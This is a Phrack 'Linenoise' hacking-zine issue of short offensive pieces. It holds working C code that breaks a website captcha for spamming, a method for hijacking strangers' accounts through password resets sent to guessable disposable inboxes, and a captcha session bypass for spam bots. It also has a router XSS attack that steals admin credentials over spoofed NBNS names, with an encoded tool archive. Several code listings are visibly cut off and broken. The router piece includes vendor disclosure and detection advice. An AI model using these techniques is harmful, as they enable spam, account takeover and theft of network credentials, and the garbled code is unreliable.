==Phrack Inc.== Volume 0x0e, Issue 0x44, Phile #0x04 of 0x13 |=-----------------------------------------------------------------------=| |=-----------------------=[ L I N E N O I S E ]=-----------------------=| |=-----------------------------------------------------------------------=| |=-------------------------=[ various ]=-------------------------=| |=-----------------------------------------------------------------------=| Linenoise iz back! The last one was in Issue 0x3f (2005 ffs) and since we had great short and sweet submissions we thought it was about time to resurrect it. After all, "a strong linenoise is key" ;-) So, dear hacker, enjoy a strong Linenoise. --[ Contents 1 - Spamming PHRACK for fun and profit -- darkjoker 2 - The Dangers of Anonymous Email -- DangerMouse 3 - Captchas Round 2 -- PHRACK PHP CoderZ Team 4 - XSS Using NBNS on a Home Router -- Simon Weber 5 - Hacking the Second Life Viewer For Fun and Profit -- Eva 6 - How I misunderstood digital radio -- M.Laphroaig 7 - The 1130 Guide to Growing High-Quality Cannabis -- 1130 |=[ 0x01 ]=---=[ Spamming PHRACK for fun & profit - darkjoker ]=---------=| In this paper I'd like to explain how a captcha can be bypassed without problems with just a few lines of C. First of all we'll pick a captcha to bypass, and, of course, is there any better captcha than the one of this site? Of course not, so we'll take it as example. You may have noticed that there are many different spam messages in the comments of the articles, which means that probably someone else has already bypassed the captcha but, instead of writing an article about it, decided to spend his time posting spam all around the site. Well, I hope that this article will also be taken into account to make the decision to change captcha, because this one is really weak. First of all we're going to download some captchas, so that we'll be able to teach our bot how to recognise a random captcha. In order to download some captchas i've written this PHP code: We're downloading 200 captchas, which should be enought. Ok, once we'll have downloaded all the images we can proceed, cleaning the images (which means we're going to remove the "noise". In these captchas the noise is just made of some pixel of a lighter blue than the one used to draw the letters. Well, it's kind of a mess to work with JPEG images, so we'll convert all the images in PPM, which will make our work easier. Luckily under Linux there's a command which makes the conversion really easy and we won't need to do it manually: convert -compress None input.jpg output.ppm Let's do it for every image we have: Perfect, now we have everything we need to proceed. Now, as I said earlier, we've to remove the noise. That's a function which will load an image and then removes the noise: void load_image (int v) { char img[32],line[1024]; int n,i,d,k,l,s; FILE *fp; sprintf (img, "ppm/%d.ppm",v); fp = fopen (img, "r"); do fgets (line, sizeof(line),fp); while (strcmp (line, "255\n")); i=0; d=0; k=0; int cnt=0; while (i!=40) { fscanf (fp,"%d",&n); captcha[i][d][k]=(char)n; k++; if (k==3) { k=0; if (d<119) d++; else { i++; d=0; } } } } Ok, this piece of code will load an image into 'captcha', which is a 3 dimensional array (rows*cols*3 bytes per color). Once the array is loaded, using clear_noise () (written below) the noise will be removed. void clear_noise () { int i,d,k,t,ti,td; char n[3]; /* The borders are always white */ for (i=0;i<40;i++) for (k=0;k<3;k++) { captcha[i][0][k]=255; captcha[i][119][k]=255; } for (d=0;d<120;d++) for (k=0;k<3;k++) { captcha[0][d][k]=255; captcha[39][d][k]=255; } /* Starts removing the noise */ for (i=0;i<40;i++) for (d=0;d<120;d++) if (captcha[i][d][0]>__COL && captcha[i][d][1]>__COL && captcha[i][d][2]>__COL) for (k=0;k<3;k++) captcha[i][d][k]=255; for (i=1;i<39;i++) { for (d=1;d<119;d++) { for (k=0,t=0;k<3;k++) if (captcha[i][d][k]!=255) t=1; if (t) { ti=i-1; td=d-1; for (k=0,t=0;k<3;k++) if (captcha[ti][td][k]!=255) t++; td++; for (k=0;k<3;k++) if (captcha[ti][td][k]!=255) t++; td++; for (k=0;k<3;k++) if (captcha[ti][td][k]!=255) t++; td=d-1; ti=i; for (k=0;k<3;k++) if (captcha[ti][td][k]!=255) t++; td+=2; for (k=0;k<3;k++) if (captcha[ti][td][k]!=255) t++; td=d-1; ti=i+1; for (k=0;k<3;k++) if (captcha[ti][td][k]!=255) t++; td++; for (k=0;k<3;k++) if (captcha[ti][td][k]!=255) t++; td++; for (k=0;k<3;k++) if (captcha[ti][td][k]!=255) t++; if (t/3<=__MIN) for (k=0;k<3;k++) captcha[i][d][k]=255; } } } } Well, what does this function do? It's really easy, first of all it clears all the borders (because we know by looking at the downloaded images that the borders never contain any character). Once the borders are cleaned, the second part of the routine will remove all the light blue pixels, turning them into white pixels. This way we'll obtain an almost perfect image. The only issue is that there are some pixels which are as dark as the ones which composes the characters, so we can't remove them with the method explained above, we'll have to create something new. My idea was to "delete" all the pixels which have no blue pixels near them, so that the few blue pixels which doesn't compose the letters will be deleted. In order to make the image cleaner I decided to delete all the pixels which doesn't have at least 3 pixels near them. You may have noticed that __COL and __MIN are not defined in the source above, these are two numbers: #define __COL 0x50 #define __MIN 4*3 __COL is a number I used when I delete all the light blue pixels, I use it in this line: if (captcha[i][d][0]>__COL && captcha[i][d][1]>__COL && captcha[i][d][2]>__COL) In a few words, if the pixel is lighter than #505050 then it will be deleted (turned white). __MIN is the minimum number of conterminous pixels under which the pixel is deleted. The values where obtained after a few attempts. Perfect, now we have a piece of code which loads and clears a captcha. Our next goal is to split the characters so that we'll be able to recognise each of them. Before doing all this work we'd better start working with 2 dimensional arrays, it'll make our work easier, so I've written some lines which makes this happen: void make_bw () { int i,d; for (i=0;i<40;i++) for (d=0;d<120;d++) if (captcha[i][d][0]!=255) bw[i][d]=1; else bw[i][d]=0; } This simply transforms the image in a black and white one, so that we can use a 2 dimensional array. Now we can proceed splitting the letters. In order to get the letters divided we are supposed to obtain two pixels whose coordinates are the ones of the upper left corner and the lower right corner. Once we have the coordinates of these two corners we'll be able to cut a rectangle which contains a character. Well, we're going to begin scanning the image from the left to the right, column by column, and every time we'll find a black pixels in a column which is preceded by an entire-white column, we'll know that in that column a new character begins, while when we'll find an entire-white column preceded by a column which contains at least one black pixel we'll know that a character ends there. Now, after this procedure is done we should have 12 different numbers which represents the columns where each character begins and ends. The next step is to find the rows where the letter begins and ends, so that we can obtain the coordinates of the pixels we need. Let's call the column where the Xth character begins CbX and the column where the Xth character ends CeX. Now we'll start our scan from the top to the bottom of the image to find the upper coordinate and from the bottom to the top to find the lower coordinate. This time, of course, the scan will be done six times using as limits the columns where each character is contained between. When the first row which contains a pixel is found (let's call this row RbX) the same thing will be done to find the lower coordinate. The only difference will be that the scan will begin from the bottom, that's done this way because some characters (such as the 'j') are divided into two parts, and if the scan was done only from the bottom to the end the result would have been just a dot instead of the whole letter. After having scanned the image from the bottom to the top we'll have another row where the letter ends (or begins from the bottom), we'll call this row ReX (of course we're talking about the Xth character). Now we know which are the horizontal and vertical coordinates of the two corners we're interested in (which are C1X(CbX,RbX) and C2X(CeX,ReX)), so we can procede by filling a (CeX-CbX)*(ReX-RbX) matrix which will contain the Xth character. Obviously the matrix will be filled with the bits of the Xth character. void scan () { int i,d,k,j,c,coord[6][2][2]; for (d=0,j=0,c=0;d<120;d++) { for (i=0,k=0;i<40;i++) if (bw[i][d]) k=1; if (k && !j) { j=1; coord[c][0][0]=d; } else if (!k && j) { j=0; coord[c++][0][1]=d; } } for (c=0;c<6;c++) { coord[c][1][0]=-1; coord[c][1][1]=-1; for (i=0;(i<40 && coord[c][1][0]==-1);i++) for (d=coord[c][0][0];d=0 && coord[c][1][1]==-1);i--) for (d=coord[c][0][0];d I think there's nothing to be explained, it's just a few lines of code. After the script is runned and someone (me) enters all the data needed we're going to have a c/ directory with some subdirectories in which there are all the characters divided. Some characters ('a','e','i','o','u','l','0','1') never appear, which means that probably the author of the captcha decided not to include these characters. Anyway that's not a problem for us. Now, we should work out a way to make our program recognise a character. My idea was to divide the image in 4 parts (horizontally), and then count the number of black (1) pixels in each part, so that when we have an unknown character all our program will be supposed to do is to count the number of black pixels for each part of the image, and then search the character with the closest number of black pixels. I've tried to do it but I haven't kept into account that some characters (such as 'q' and 'p') have a similar number of pixels for each part, even though they're completely different. After having realised that, I decided to use 8 parts to divide each character: 4 parts horizontally, then each part is divided in other 2 parts vertically. Well, of course there's no way I could have done that by hand, and in fact I've written a PHP script: %02d %02d %02d %02d / %02d %02d %02d %02d\n",$x[0][0], $x[1][0],$x[2][0],$x[3][0],$x[0][1],$x[1][1],$x[2][1],$x[3][1]); } for ($i=0;$i It works out the average number of black pixels for each part. Moreover it also prints the average height of each character (I'm going to explain the reason of this below). A character such as a 'z' is divided this way: 01111 111110 11111 111111 11111 111111 01111 111111 00000 111110 00000 111110 00000 111100 00001 111100 00001 111000 00011 110000 00011 110000 00111 100000 00111 111110 01111 111111 01111 111111 00111 111110 So the numbers (of the black pixels) in this case will be: 18 23 1 18 8 8 14 22 Well, once taken all these numbers from each character the PHP script written above works out the average numbers for each character. In the 'z', for example, the average numbers are: 18 20 3 15 11 7 17 20 Which are really close to the ones written above (at least, they're closer than the ones of the other characters). Now the last step is to do the comparison between the character of the captcha we want our program to read and the numbers we've stored. To do so we first need to make the program count the number of black pixels of a character, and save the numbers somewhere so that it'll be possible to do the comparison. read_pixels ()'s aim is exactly to do that, using the same method used above in the PHP script. void read_pixels (int c) { int i,d,k,r; float arr[]={4,2,1.333333,1}; memset (bpix,0,8*sizeof(int)); for (k=0,i=0;k<4;k++) { for (;i<(int)(dim[c][0]/arr[k]);i++) { for (d=0;dn || min<0) { min=n; min_i = i; } } return ch_list[min_i]; } 'table' is an array in which all the average numbers worked out before are stored. As you can see there's a final number (n) which is the sum of a number obtain in this way: n += |x-y) Where 'x' is the number of black pixels of each part of the character we want to read, while 'y' is the average number of the character we're comparing the character we want to read with. The smaller the resulting number is, the closer to that character. I firstly thought that the algorithm I used would have been good enough, but I soon realised that there were too many "misunderstandings" while the program was trying to read some characters (such as the 'y's, which were usually read as 'v's). So I decided to make the final number also influenced by the height of the character, so that a 'v' and a 'y' (which have different heights) can't be misunderstood. Before this change the program couldn't recognise 17 characters out of 1200. Then, after some tests, I found that by adding the difference of the heights times a costant, the results were better: 3 wrong characters out of 1200. n = |x-y|*k Where 'x' is the height of the character we want to read while 'y' is the height of the character we're comparing the character we want to read with. The costant (k) was calculated by doing some attempts, and finally it was given the value 1.5. Now everything's ready, the last function I've written is read_captcha () which will return the captcha's string. char *read_captcha (char *file) { char *str; int i; str = malloc(7*sizeof(char)); load_image (file); clear_noise (); make_bw (); scan (); for (i=0;i<6;i++) str[i]=cmp(i); str[i]=0; return str; } And.. Done :) Now we can make our program read a captcha without any problem. Now I should be supposed to code an entire spam bot, but, since it requires some tests I think it wouldn't be good to post random comments all around phrack, so my article finishes here. #include #include #include #define __COL 80 #define __MIN 4*3 #define __HGT 1.5 unsigned char captcha[40][120][3]; unsigned char bw[40][120]; unsigned char chars[6][40][30]; int dim[6][2]; int bpix[4][2]; int heights[] = { 23, 16, 23, 23, 22, 23, 29, 23, 16, 16, 22, 22, 16, 16, 20, 16, 16, 16, 21, 16, 23, 24, 23, 23, 23, 23, 24, 24 }; char ch_list [] = "bcdfghjkmnpqrstvwxyz23456789"; int table [28][2][4]= { { {18, 28, 26, 28}, { 0, 20, 25, 29}}, { {10, 17, 17, 10}, {21, 1, 1, 20}}, { { 0, 20, 25, 29}, {18, 31, 26, 31}}, { {10, 24, 18, 17}, {23, 12, 6, 5}}, { {21, 25, 20, 8}, {28, 25, 29, 27}}, { {18, 28, 25, 22}, { 0, 20, 25, 22}}, { { 1, 9, 0, 14}, {13, 27, 28, 25}}, { {18, 24, 30, 22}, { 0, 15, 21, 23}}, { {24, 21, 20, 17}, {21, 25, 24, 20}}, { {17, 18, 16, 14}, {20, 17, 16, 14}}, { {27, 25, 29, 22}, {24, 25, 25, 0}}, { {25, 25, 24, 0}, {27, 25, 29, 22}}, { {14, 16, 15, 13}, {19, 2, 0, 0}}, { {15, 16, 2, 9}, {12, 4, 18, 17}}, { {15, 20, 15, 12}, { 5, 10, 5, 19}}, { {13, 17, 15, 11}, {14, 14, 14, 10}}, { { 9, 17, 20, 13}, {12, 18, 22, 14}}, { { 9, 11, 11, 13}, {12, 13, 13, 12}}, { {15, 19, 14, 14}, {16, 20, 15, 9}}, { {18, 3, 11, 17}, {20, 15, 7, 20}}, { {21, 4, 8, 24}, {21, 26, 19, 24}}, { {16, 0, 6, 24}, {29, 23, 25, 28}}, { { 5, 12, 23, 5}, {23, 24, 32, 24}}, { {23, 25, 10, 20}, {18, 12, 26, 23}}, { { 3, 21, 28, 24}, {16, 15, 30, 27}}, { {18, 1, 11, 20}, {27, 24, 14, 3}}, { {25, 24, 26, 23}, {28, 26, 28, 28}}, { {20, 27, 16, 16}, {25, 26, 28, 9}} }; void clear () { int i,d,k; for (i=0;i<40;i++) for (d=0;d<120;d++) for (k=0;k<3;k++) captcha[i][d][k]=0; for (i=0;i<40;i++) for (d=0;d<120;d++) bw[i][d]=0; for (i=0;i<6;i++) for (d=0;d<40;d++) for (k=0;k<30;k++) chars[i][d][k]=0; for (i=0;i<6;i++) for (d=0;d<2;d++) dim[i][d]=0; } int numlen (int n) { char x[16]; sprintf (x,"%d",n); return strlen(x); } void load_image (char *img) { char line[1024]; int n,i,d,k,l,s; FILE *fp; fp = fopen (img, "r"); do fgets (line, sizeof(line),fp); while (strcmp (line, "255\n")); i=0; d=0; k=0; int cnt=0; while (i!=40) { fscanf (fp,"%d",&n); captcha[i][d][k]=(char)n; k++; if (k==3) { k=0; if (d<119) d++; else { i++; d=0; } } } } void clear_noise () { int i,d,k,t,ti,td; char n[3]; /* The borders are always white */ for (i=0;i<40;i++) for (k=0;k<3;k++) { captcha[i][0][k]=255; captcha[i][119][k]=255; } for (d=0;d<120;d++) for (k=0;k<3;k++) { captcha[0][d][k]=255; captcha[39][d][k]=255; } /* Starts removing the noise */ for (i=0;i<40;i++) for (d=0;d<120;d++) if (captcha[i][d][0]>__COL && captcha[i][d][1]>__COL && captcha[i][d][2]>__COL) for (k=0;k<3;k++) captcha[i][d][k]=255; for (i=1;i<39;i++) { for (d=1;d<119;d++) { for (k=0,t=0;k<3;k++) if (captcha[i][d][k]!=255) t=1; if (t) { ti=i-1; td=d-1; for (k=0,t=0;k<3;k++) if (captcha[ti][td][k]!=255) t++; td++; for (k=0;k<3;k++) if (captcha[ti][td][k]!=255) t++; td++; for (k=0;k<3;k++) if (captcha[ti][td][k]!=255) t++; td=d-1; ti=i; for (k=0;k<3;k++) if (captcha[ti][td][k]!=255) t++; td+=2; for (k=0;k<3;k++) if (captcha[ti][td][k]!=255) t++; td=d-1; ti=i+1; for (k=0;k<3;k++) if (captcha[ti][td][k]!=255) t++; td++; for (k=0;k<3;k++) if (captcha[ti][td][k]!=255) t++; td++; for (k=0;k<3;k++) if (captcha[ti][td][k]!=255) t++; if (t<__MIN) for (k=0;k<3;k++) captcha[i][d][k]=255; } } } } void make_bw () { int i,d; for (i=0;i<40;i++) for (d=0;d<120;d++) if (captcha[i][d][0]!=255) bw[i][d]=1; else bw[i][d]=0; } void scan () { int i,d,k,j,c,coord[6][2][2]; for (d=0,j=0,c=0;d<120;d++) { for (i=0,k=0;i<40;i++) if (bw[i][d]) k=1; if (k && !j) { j=1; coord[c][0][0]=d; } else if (!k && j) { j=0; coord[c++][0][1]=d; } } for (c=0;c<6;c++) { coord[c][1][0]=-1; coord[c][1][1]=-1; for (i=0;(i<40 && coord[c][1][0]==-1);i++) for (d=coord[c][0][0];d=0 && coord[c][1][1]==-1);i--) for (d=coord[c][0][0];dn || min<0) { min=n; min_i = i; } } return ch_list[min_i]; } char *read_captcha (char *file) { char *str; int i; str = malloc(7*sizeof(char)); load_image (file); clear_noise (); make_bw (); scan (); for (i=0;i<6;i++) str[i]=cmp(i); str[i]=0; return str; } int main (int argc, char *argv[]) { printf ("%s\n",read_captcha ("test.ppm")); return 0; } Oh, if you want to have some fun and the staff is so kind as to leave captcha.php (now captcha_old.php) you can run this PHP script: I'm done, thanks for reading :)! darkjoker - darkjoker93 _at_ gmail.com |=[ 0x02 ]=---=[ The Dangers of Anonymous Email - DangerMouse ]=---------=| In this digital world of online banking, and cyber relationships there exists an epidemic. This is known simply as SPAM. The war on spam has been costly, with casualties on both sides. However finally mankind has developed the ultimate weapon to win the war... email anonymizers! Ok, so maybe this was a bit dramatic, but the truth is people are getting desperate to rid themselves of the gigantic volumes of unsolicited email which plagues their inbox daily. To combat this problem many internet users are turning to email anonymizing services such as Mailinator [1]. Sites like mailinator.com provide a domain where any keyword can be created and appended as the username portion of an email address. So for example, if you were to choose the username "trustno1", the email address trustno1@mailinator.com could be used. Then the mailbox can be accessed without a password at http://trustno1.mailinator.com. There is no registration required to do this, and the email address can be created at a whim. Obviously this can be used for a number of things. From a hackers perspective, it can be very useful to quickly create an anonymous email address whenever one is needed. Especially one which can be checked easily via a chain of proxies. Hell, combine it with an anonymous visa gift card, and you've practically got a new identity. For your typical spam adverse user, this can be an easy way to avoid dealing with spam. One of the easiest ways to quickly gain an inbox soaked in spam is to use your real email address to sign up to every shiney new website which tickles your fancy. By creating a mailinator account and submitting that instead, the user can visit the mailinator website to retrieve the sign up email. Since this is not the users regular email account, any spam sent to it is inconsequential. The flaw with this however, is that your typical user just isn't creative enough to work with a system designed this way. When creating a fresh anonymous email account for a new website a typical users thought process goes something like this: a) Look up at URL for name of site b) Append said name to mailinator domain c) ??? d) Profit This opens up a nice way for the internet's more shady characters to quickly gain access to almost any popular website via the commonly implemented "password reset" functionality. But wait, you say. Surely you jest? No one could be capable of such silly behavior on the internet! Alas... Apparenly Mike & Debra could. "An email with instructions on how to access Your Account has been sent to you at netflix@mailinator.com" "Netflix password request "Dear Mike & Debra, We understand you'd like to change your password. Just click here and follow the prompts. And don't forget your password is case sensitive." ;) ? At least security folk would be immune to this you say! There's no way that gmail@mailinator.com would allow one to reset 2600LA's mailing list password... As you can imagine it's easy to wile away some time with possible targets ranging from popular MMO's to banking websites. Just make sure you use a proxy so you don't have to phone them up and give them their password back... *cough* Have fun! ;) --DangerMouse P.S. With the rise in the popularity of social networking websites mailinator felt the need to go all web 2.0 by including a fancy list of people who "Like" mailinator on Facebook. AKA a handy target list for a bored individual with scripting skillz. References: [1] Mailinator: http://www.mailinator.com [2] Netflix: http://www.netflix.com |=[ 0x03 ]=---=[ Captchas Round 2 - phpc0derZ@phrack.org ]=--------------=| [ Or why we suck even more ;> ] Let's face it, our lazyness got us ;-) So what's the story behind our captcha? Ironically enough, the original script is coming from this URL: http://www.white-hat-web-design.co.uk/articles/php-captcha.php <-- :))))))) 8<----------------------------------------------------------------------->8 generateCode($characters); /* font size will be 75% of the image height */ $font_size = $height * 0.75; $image = imagecreate($width, $height) or die('Cannot initialize new GD image stream'); /* set the colours */ $background_color = imagecolorallocate($image, 255, 255, 255); $text_color = imagecolorallocate($image, 20, 40, 100); $noise_color = imagecolorallocate($image, 100, 120, 180); /* generate random dots in background */ for( $i=0; $i<($width*$height)/3; $i++ ) { imagefilledellipse($image, mt_rand(0,$width), mt_rand(0,$height), 1, 1, $noise_color); } /* generate random lines in background */ for( $i=0; $i<($width*$height)/150; $i++ ) { imageline($image, mt_rand(0,$width), mt_rand(0,$height), mt_rand(0,$width), mt_rand(0,$height), $noise_color); } /* create textbox and add text */ $textbox = imagettfbbox($font_size, 0, $this->font, $code) or die('Error in imagettfbbox function'); $x = ($width - $textbox[4])/2; $y = ($height - $textbox[5])/2; imagettftext($image, $font_size, 0, $x, $y, $text_color, $this->font , $code) or die('Error in imagettftext function'); /* output captcha image to browser */ header('Content-Type: image/jpeg'); imagejpeg($image); imagedestroy($image); $_SESSION['security_code'] = $code; } } $width = isset($_GET['width']) && $_GET['width']<600?$_GET['width']:'120'; $height = isset($_GET['height'])&&$_GET['height']<200?$_GET['height']:'40'; $characters = isset($_GET['characters']) && $_GET['characters']>2?$_GET['characters']:'6'; $captcha = new CaptchaSecurityImages($width,$height,$characters); ?> 8<----------------------------------------------------------------------->8 The reason why this particular script was chosen was lost in the mist of time so let's focus instead on the code: ----[ 1 - Oops OK so darkangel was right, the script is *really* poorly designed: -> The set of possible characters is limited to 28 characters -> The characters are inserted in the image using imagettfbbox() with (amongst other things) a fixed $font_size, a predictable position, etc. -> The noise itself is generated using lines and circles of the same color ($noise_color) which makes it trivial to remove. Ok so we knew that it was crappy but there is even more. darkjoker's approach can be seen as a dictionnary attack applied when the noise has been removed. There is much more simple: since the characters are not distorded, we can easily recover them using an OCR software. Luckily there exists a GNU one: gocr. We tested it against the imagettfbbox() function and without surprise ... it worked. Hey man, it wasn't worth to spend that much time :> ----[ 2 - Oops (bis) We located two interested things in the script and if you're a proficient PHP reader then you've probably noticed them too... ;-) a) The number of characters inserted in the image is user controlled. If an attacker calls http://phrack.org/captcha.php?characters=x then he can generate a captcha with X characters ( x >= 2 ). This shouldn't be an issue itself since captcha.php is called by the server. However it is because... b) The script includes an interesting line: $_SESSION['security_code'] = $code; This clearly means that the PHP session will only keep track of the *last* $code. While this is a normal behavior (some captcha aren't readable at all so the user must be allowed to refresh), this will be at our advantage. This gives us the opportunity to mount a new attack: -> I'm a spam bot and I'm writing some shit comment about how big & hard your penis will be when you will purchase my special pills. A PHP session is created. -> A captcha is loaded and because I'm a bot I can't fucking read it. Too bad for me. -> Within the same session I call captcha.php with ?characters=2. With a probability of 1/(28*28) I will be able to predict the code generated. I'll try as many times as required until I'm right. -> I will most likely succeed in the end and some poor desperate guy may purchase the pills. We've changed the captcha mechanism, the old one being captcha_old.php ----[ 3 - Conclusion Who knows if spammers are reading phrack? One thing is sure: the script is very present on Internet... Yes you should patch xD |=[ 0x04 ]=---=[ XSS Using NBNS on a Home Router - Simon Weber ]=--------=| --[ code is appended, but may not be the most recent. check: https://github.com/simon-weber/XSS-over-NBNS for the most recent version. ]-- --[ Contents 1 - Abstract 2 - Test Device Background 3 - Injection Chaining Technique 4 - Device Specific Exploits 4.1 - Steal Router Admin Credentials 4.2 - Hide a Device on the Network 5 - Tool 6 - Fix, Detection and Prevention 7 - Applications 8 - References --[ 1 - Abstract For routers which: 1) use NBNS to identify attached devices 2) list these devices on their web admin interface 3) do not sanitize the names they receive there exists a 15 character injection vector on the web interface. This vector can be exploited by anyone on the network, and will affect anyone who visits a specific page on the web administration interface. Using multiple injections in sequence separated with block comments, it is possible to chain these injections to create a payload of arbitrary length. This can be used to gain router admin credentials, steal cookies from an admin, alter the view of attached devices, or perform any other XSS attack. The real world application of the technique is limited by how often admins are on the web interface. However, coupled with some social engineering, small businesses such as coffee shops may be vulnerable. --[ 2 - Test Device Background I got a Netgear wgr614 v5 for less than $15 shipped on eBay. This is a common home wireless B/G router. Originally released in 2004, its EOL was about 5 years ago [1]. The web admin interface is pretty poorly built (sorry, Netgear!). If you poke around, you'll find a lot of unescaped input fields to play with. However, none of them can really be used to do anything interesting - they're one time injection vectors that other users won't see. However, there is one interesting page. This is the "attached devices" page (DEV_devices.htm). It shows a table of what's connected to the router, and looks something like this: # Name IP MAC 1 computer_1 192.168.1.2 07:E0:17:8F:11:2F 2 computer_2 192.168.1.11 AF:3C:07:4D:B0:3A 3 -- 192.168.1.15 EB:3C:76:0F:67:43 This table is generated from the routing table, and the name is filled in from NBNS responses to router requests. If a machine doesn't respond to NBNS, takes too long to respond, or it gives an invalid name (over 15 characters or improperly terminated), the name is set to "--". The table is refreshed in two ways: automatically by the router at an interval, and by a user visiting or refreshing the page. A quick test showed that the name in this table was unescaped. However, this only gets us 15 characters of payload. I couldn't manage to squeeze a reference to external code in just 15 characters (maybe someone else can?). Executing arbitrary code will require something a bit more sophisticated. --[ 3 - Injection Chaining Technique The obvious way to get more characters for the payload is by chaining together multiple injections. To do this, we need a few things: 1) A way to make multiple entries in the table: This is easy, we just send out fake responses for IP/MAC combinations that don't already exist on the network. 2) A way to control the order of our entries: Also easy: the table orders by IP address. We'll just use a range of incremental addresses that no one else is using. 3) A way to chain our entries around the other html: Block comments will work for this. Our injections will just open and close block comments at the end and beginning of their reported names. For an illustration, imagine anything between <> will be ignored on the page, and our name injections are delimited with single quotes: '[name 1] <' [ignored stuff] [ignored stuff] '> [name 2] <' [ignored stuff] ... '> [name 3] <' ... Great, that was easy. What kind of block comments can we use? How about html's?. This could work, but it has limitations. First off, -- or > anywhere in the commented out html will break things. Even if this did work, we'd have to be careful about where we split things, and the comments would take up about half of a 15 char name. Javascript's c-style block comments are smaller and more flexible. They can come anywhere in code, so long as it isn't the middle of a token. For example, document/* ignored */.write("something") is fine, while docu/* uh oh */ment.write("something") breaks things. We also just need to avoid */ in the commented out html, which should be much less likely to pop up than >. To use javascript block comments, we'll obviously need to use javascript to get our payload onto the page. Call it our "payload transporter". This will work just fine: "" So, then, the first thing to do is fit our transporter into 15 char chunks to send as our first few fake NBNS names. Being careful not to split tokens with comments, our first 3 names can be: ' onto the page: Spoofed NBNS Name IP MAC 192.168.1.119 00:00:00:00:00:09 There are a few other practical considerations that I found while working with my specific Netgear router. It will use the most recent information it has for device names. This means that we have to send our payload every time that requests are sent out. It also means that for some time after we stop injecting, the device listing is going to have a number of '--' entries; the router is expecting to get names for these devices but sees no response. To hide our tracks, we could reboot the router when finished (this is possible by either injection or after stealing admin credentials, which is detailed below). We also have to be careful that a legitimate device doesn't come on to the network with one of our spoofed IPs or MACs. This could possibly break our injection, depending on the timing of responses. One last thing to keep in mind: the NBNS packets need to get on the wire quickly, since the router only listens for NBNS responses for a short time. Thus, smaller payloads (which fit into less packets) are more likely to succeed. You'll want to create external javascript to do any heavy lifting, and just inject code to run it. When a payload fails, earlier packets will get there and others won't, leaving garbage in the attached devices list. --[ 4 - Device Specific Exploits Naturally, anything that can be done with XSS or javascript is fair game. You can attack the user (cookie stealing), the router (injected requests to the web interface are now authed), or the page itself. I created a few interesting examples that are specific to the Netgear device I had. ------[ 4.1 - Steal Router Admin Credentials On the admin interface, there is an option to backup and restore the router settings. It generates a simple flat file database called netgear.cfg. This file itself is actually rather interesting. It seems to be a plaintext memory dump, guarded from manipulation by a checksum that I couldn't figure out (no one has cracked it as of the time this was written - if you do, let me know). In it, you'll find everything from wireless keys to static routes to - surprise - plaintext administrator information. This includes usernames and passwords for both the http admin and telnet super admin (see [3] for information on the hidden telnet console). It's easy to steal this file via XSS in the same way that cookies are stolen. The attacker first sets up a listening http server to receive the information. Then, the injection code simply GETs the file and sends it off to the listening server. With admin access to the router, the attacker can do all sorts of things. Basic traffic logging is built-in, and can even be emailed out automatically. DoS is possible through the router's website blocking functions. Man in the middle attacks are possible through the exposed dhcp dns, static routing and internet connection configuration options. ------[ 4.2 - Hide a Device on the Network The only place that an admin can get information about who is on the network is right on the page we inject to. Manipulating the way the device list is displayed could provide simple counter-detection against a suspicious administrator. For this exploit, we inject javascript to iterate through the table and remove any row that matches a device we're interested in. Then, the table is renumbered. Note that we don't have to own the device to remove it from the list. Going one step further, the attacker can bolster the cloak of invisibility. Blocking connections not originating from the router is an obvious choice. It might be wise to block pings directly from the router as well. --[ 5 - Tool I used Scapy with Python to implement the technique and exploits described above and hosted it on Github [2]. You can also specify a custom exploit that will be packaged and sent using my chaining technique. I also made a simple python http server to listen for stolen admin credentials and serve up external exploit code. Credit goes to Robert Wesley McGrew for NBNSpoof; I reused some of his code [4]. To combat the problem I described earlier about sending packets quickly, I listen for the first request from the router and precompute the response packets to send. These will be sent as responses to any other requests sniffed. You'll notice this if you use my tool; a "ready to inject" message will be printed after the responses are generated. If you look at my built-in exploits, you'll see they each use a loadhelp2 function as the entry point. This is just an easy way to get them to run when the page is loaded. The router declares the loadhelp function externally, and runs it on page load; I declare it on the page (so my version is actually used), and use it to launch my external loadhelp2 code. Then, the original code is patched on to the end, so the user doesn't notice. --[ 6 - Fix, Detection and Prevention To close the hole, Netgear would only need to change some web backend code in the firmware to escape NBNS names. I contacted Netgear about this. They won't make a fix for this specific model - it already saw its support EOL - but they are checking their newer models for this flaw as of September 2011 [1]. So, if you have this router, know that a fix isn't coming. While it may be difficult to initially detect that a device you own is being attacked, once you suspect it there are simple ways to verify it: check the source of the affected page; you'll see the commented out device entries with suspicious names use the hidden telnet interface. This will show the many fake IPs that are generated when packing a payload. as a last resort, watch network traffic for malformed NBNS names Also, keep in mind that you can only be affected when checking your router's configuration. You could protect yourself completely by never visiting the web administration interface. --[ 7 - Applications Of course, this technique's practical application is limited to how often users check their router admin pages. However, when coupled with some social engineering, I could imagine a vulnerability for small businesses like coffee shops. These locations commonly offer wireless using off-the-shelf hardware like my Netgear router. Getting on their network is easy - it's already open. At this point, the attacker starts the exploit, then convinces an employee to check the admin pages (maybe "I'm having some strange issues with the wireless...Can you check on the router and see if my device is showing up?"). I'm sure a practiced social engineer would have no trouble pulling this off. As far as applying this beyond the home networking realm, a good place to start would be investigating this technique on other routers or better firmwares like DD-WRT or Tomato. That would at least determine if this is a common flaw. I didn't have another device to play with (the wgr614v5 doesn't work with other firmware), so I'll leave it for someone else to try. I'm doubtful that other applications very different from what I described exist. Router administration pages simply aren't viewed very much. However, the broader idea of XSS through spoofed NBNS names might be applicable to a different domain. Anywhere there is a listing of NBNS names, there is the possibility of an injection vector. --[ 8 - References [1] private communication with Netgear, September 2011 [2] https://github.com/simon-weber/XSS-over-NBNS [3] http://www.seattlewireless.net/NetgearWGR614#TelnetConsole [4] http://www.mcgrewsecurity.com/tools/nbnspoof/ October 2011 Simon Weber sweb090 _at_ gmail.com begin 644 xss_over_nbns.tgz M'XL(`(D#G4X``^P\^W/;1L[]67_%'CWWD4HI2G)BIZ=8GKJ)TWJ:.J[MS-V- MJ]&LR)7%A"(9/BRK^?*_'X!]\"'YD;NV]SU.T];2/@`L%L`"6&S])!#]KW[? MSP`^S_?VZ"]\VG_I^W"X_^SY[F"X^W3_J\%P\.SYX"NV]SO319\R+WC&V%=9 MDA3WC7NH_W_IQ\?]CV=Q/@WC]\(ODLQ+U[\Q#MS@_6?/[MC_X=/=_6%K_Y\^ M'^Q^Q0:_,1U;/__/]W_G3_TRS_JS,.Z+^(:EZV*1Q)V=S@YK"\6(G7YW>L%D M2YC$;)D$9238/,E8F0O&KWD8YP4[%<6U`):NKK/]X;.;/0#U,DG767B]*)CS MLLM@EX?L(EP"B+^*F+WD8>7ZR/*1)@6!I.8O"?"$"5L8! 